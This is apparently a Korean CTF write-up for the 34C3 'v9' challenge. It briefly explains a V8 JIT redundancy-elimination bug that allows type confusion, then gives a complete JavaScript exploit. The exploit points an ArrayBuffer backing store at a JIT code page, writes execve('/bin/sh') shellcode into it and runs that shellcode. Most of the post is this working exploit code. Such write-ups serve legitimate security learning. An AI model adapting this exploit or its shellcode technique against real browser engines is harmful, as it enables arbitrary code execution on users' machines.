34c3 CTF – v9

Posted on Aug 14, 2020

JIT optimization bug를 exploit하는 문제.

이미 kCheckMaps를 거쳐간 object의 map이 JIT 실행 중 변경되었음에도 패치된 Redundancy Elimination으로 인해 검증되지 않는다.

이를 이용해 packed array를 JIT 중간에서 dictionary typed로 변경하여 type confusion 트리거가 가능하고

최종적으로 ArrayBuffer의 backing store을 JIT page로 돌려 쉘코드를 적어 익스.

function gc() {
    for (var i=0; i<0x10; i++) {
          new ArrayBuffer(0x1000000);
      }
}
gc();
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) { 
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}
function hex(lo, hi) {
    return ("0x" + hi.toString(16) + lo.toString(16));
}
function vuln(arr, func, i, j){
    var a = arr[0];
    func();
    var b = arr[i];
    arr[j] = b;
    return b;
}
var qq = [1.1, 2.2, 3.3, 4.4];
%DebugPrint(qq);
function opt(){
    for (var i=0; i<100000; i++) {
        vuln(qq, function(){}, 0, 0);
    }
}
opt();
var jit = undefined;
var dataview = undefined;
var dump = vuln(
    qq,
    function()
    {
        qq[100000] = 1; // change elements type
        var victim = new ArrayBuffer(0x1000);
        dataview = new DataView(victim);
        %DebugPrint(victim);
        jit = function(x){return x*5 + x - x*x;}
        for (var i=0; i<100000; i++) {
            jit(1);
        }        
        %DebugPrint(jit);
    },
    61, // JIT page
    40  // ArrayBuffer backing_store
);
// execve("/bin/sh");
var sc = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
for (var i=0; i<6; i++) {
    dataview.setUint32(0x5f+i*4, sc[i], true);
}
jit(1337);